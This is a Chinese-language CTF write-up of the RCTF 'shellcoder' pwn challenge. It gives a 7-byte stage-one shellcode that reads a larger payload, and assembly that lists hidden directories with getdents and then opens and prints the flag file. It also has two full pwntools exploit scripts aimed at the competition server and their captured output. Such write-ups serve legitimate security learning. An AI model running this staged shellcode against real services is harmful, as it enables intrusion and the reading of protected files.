RCTF shellcoder 一道很烦人的pwn题

这道题的靶机是没有execve系统调用的,而且没有glibc库,flag要靠自己手写汇编来读取。

所有文件下载:http://file.eonew.cn/ctf/pwn/shellcoder.zip

提示

who likes singing, dancing, rapping and shell-coding?

The directories on the server looks something like this:

...
├── flag
│   ├── unknown
│   │   └── ...
│   │       └── flag
│   └── unknown
└── shellcoder

安全防护

ex@Ex:~/test$ checksec shellcoder
[!] Did not find any GOT entries
[*] '/home/ex/test/shellcoder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序介绍

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  _QWORD *v4; // rbx

  alarm(60LL, argv, envp);
  write(1LL, "hello shellcoder:", 17LL);
  v3 = (_QWORD *)mmap(0LL, 4096LL, 7LL, 34LL, 0xFFFFFFFFLL, 0LL);
  v4 = v3;
  *v3 = 0xF4F4F4F4F4F4F4F4LL;
  v3[1] = 0xF4F4F4F4F4F4F4F4LL;
  v3[2] = 0xF4F4F4F4F4F4F4F4LL;
  v3[3] = 0xF4F4F4F4F4F4F4F4LL;
  read(0LL, v3, 7LL);
  sub_48B(v4);
  return 0;
}

这里申请了一块可以执行的内存,但是只给我们读入7个字节

sub_48B

sub_48B proc near
mov     rax, 0ABADC0DEFEE1DEADh
push    rax
push    rax
push    rax
push    rax
push    rax
push    rax
push    rax
push    rax
xor     rax, rax
xor     rbx, rbx
xor     rcx, rcx
xor     rdx, rdx
xor     rsi, rsi
xor     r8, r8
xor     r9, r9
xor     r10, r10
xor     r11, r11
xor     r12, r12
xor     r13, r13
xor     r14, r14
xor     r15, r15
xor     rbp, rbp
jmp     rdi
sub_48B endp

这里会清空环境,然后执行我们输入那7个字节

分析

  1. 考验构造shellcode的能力
  2. 考验手写汇编的能力
  3. 考验对系统调用的了解

构造shellcode

这个还是比较简单的,相对于后面的两个考验来说。

下面的shellcode就能用7个字节来完成我们的shellcode扩展:

mov dl,255
xchg rsi, rdi
syscall

由于大部分寄存器都清零了,所以我们可以直接把它当成SYS_read系统调用来用,然后注入我们的新shellcode。

但是,出题人并没有把题目出的这么简单,因为靶机的SYS_execve系统调用是被禁用了,而且如题目所示,出题人把flag藏了起来,需要我们把flag找出来。

寻找flag

下面代码的功能是从输入流读取文件夹名,然后对文件夹进行解析,最后把解析的内容输出到输出流。

如果想仔细了解这些系统调用的使用,可以参考这篇文章:http://blog.eonew.cn/archives/982

mov dl,255
mov rsi,rsp
mov rax, 0
mov rdi,0
syscall

mov rdi, rsp
mov rsi, 0x10000
xor rdx, rdx
mov al, 2
syscall
test rax, 3

jne next
push rax
jmp over

next:
mov rdi, rax
mov rsi, rsp
mov edx, 256
mov al, 78
syscall

push rax

over:
mov edx, 256
mov rdi, 1
mov rsi, rsp
mov al, 1
syscall

深度优先遍历

利用深度优先遍历算法进行搜索。

find_flag.py:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct
import binascii
import sys
import time
import thread

context(arch='amd64', os='linux')

# sh = remote('139.180.215.222',20002)
# elf = ELF('./shellcoder')
context.log_level = "CRITICAL"
# context.log_level = 'debug'

# 创建pid文件,用于gdb调试
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

shellcode1 = '''
mov dl,255
xchg rsi, rdi
syscall
'''

payload1 = asm(shellcode1)

shellcode2 = '''
mov dl,255
mov rsi,rsp
mov rax, 0
mov rdi,0
syscall

mov rdi, rsp
mov rsi, 0x10000
xor rdx, rdx
mov al, 2
syscall
test rax, 3

jne next
push rax
jmp over

next:
mov rdi, rax
mov rsi, rsp
mov edx, 256
mov al, 78
syscall

push rax

over:
mov edx, 256
mov rdi, 1
mov rsi, rsp
mov al, 1
syscall
'''

payload2 = 'a' * 7 + asm(shellcode2)

def get_dir(path):
    result = 0

    while(True):
        try:
            # sh = process('./shellcoder')
            sh = remote('139.180.215.222', 20002, timeout=0.5)

            sh.send(payload1)

            time.sleep(0.2)
            sh.send(payload2)

            time.sleep(0.2)
            sh.sendline(path + '\x00')

            result = sh.recvall(0.5)
            # print(result)

            prefix = 'hello shellcoder:'
            if(result[:len(prefix)] != prefix):
                sh.close()
                continue

            result = result[len(prefix):]

            if(len(result) != 256):
                sh.close()
                continue
            nread = struct.unpack('Q', result[:8])[0]

            result = result[8:]

            bpos = 0

            output = ''
            while(bpos < nread):
                d_reclen = struct.unpack('H', result[bpos + 16: bpos + 18])[0]

                i = 0
                while(ord(result[bpos + 18 + i]) != 0):
                    output += result[bpos + 18 + i]
                    i += 1
                output += '\n'

                bpos += d_reclen

            sh.close()  
            return output
        except Exception as e:
            pass

# 把文件转换成列表
def get_list(string):
    l = string.split('\n')
    result = []
    for v in l:
        if(v == '' or v == '.' or v == '..'):
            continue
        result += [v]

    return result

def dfs(path):
    result = get_list( get_dir(path) )
    if('flag' in result):
        print('-'*10 + path + '/flag' + '-'*10)
        exit(0)
    for v in result:
        new_path = path + '/' + v
        print(new_path)
        dfs(new_path)

argv = sys.argv

if(len(argv) == 1):
    dfs('./flag')
else:
    l = get_list( get_dir('./flag') )
    dfs('./flag/' + l[int(argv[1])])

最后找到我们的flag地址为./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag

读取flag

知道路径之后就可以写shellcode来读flag了:

push rsi
pop rdi
add rdi, 0x80
mov rsi, 0x0
xor rdx, rdx
mov al, 2
syscall

mov rdi, rax
mov rsi, rsp
mov edx, 256
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov edx, 256
mov eax, 1
syscall

下面这段脚本的作用就是利用上面得出的flag路径来读取flag。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct
import binascii
import sys
import time
import thread

context(arch='amd64', os='linux')
# context(arch='i386', os='linux')

# sh = process('./shellcoder')
sh = remote('139.180.215.222',20002)
# elf = ELF('./shellcoder')
# context.log_level = "CRITICAL"
# context.log_level = 'debug'

# 创建pid文件,用于gdb调试
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

shellcode1 = '''
mov dl,255
xchg rsi, rdi
syscall
'''

payload1 = asm(shellcode1)

shellcode2 = '''
push rsi
pop rdi
add rdi, 0x80
mov rsi, 0x0
xor rdx, rdx
mov al, 2
syscall

mov rdi, rax
mov rsi, rsp
mov edx, 256
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov edx, 256
mov eax, 1
syscall

'''

payload2 = payload1 + asm(shellcode2)
payload2 = payload2.ljust(0x80,'\x90') + './flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag\x00'

sh.send(payload1)

time.sleep(0.2)
# pause()
sh.send(payload2)

# 注意不要用recvall()
result = sh.recv()
print(result)

# ./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag

sh.interactive()

os.system("rm -f pid")

运行实例

[+] Opening connection to 139.180.215.222 on port 20002: Done
hello shellcoder:
[*] Switching to interactive mode
rctf{1h48iegin3egh8dc5ihu}�����\xab\xad��\xfe��\xad\xab\xad��\xfe��\xad\xab\xad��\xfe��\xad\xab\xad��\xfe��\xad\xab\xb3\x83\xaa\x87�U\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x84\xaa\x87�U\x00\x00\x00\x00\x00\x00\x00\x00Sߗ��\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`ߗ��\x7f\x00\x00vߗ��\x7f\x00\x00\x81ߗ��\x7f\x00\x00��\x97��\x7f\x00\x00��\x97��\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x90\x9b��\x7f\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xff��\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00@\x80\xaa\x87�U\x00\x04\x00\x00\x00\x00\x00\x00\x008\x[*] Got EOF while reading in interactive
$ 

总结

一道很烦的题,主要考验我们的汇编功底。

说点什么

avatar
  Subscribe  
提醒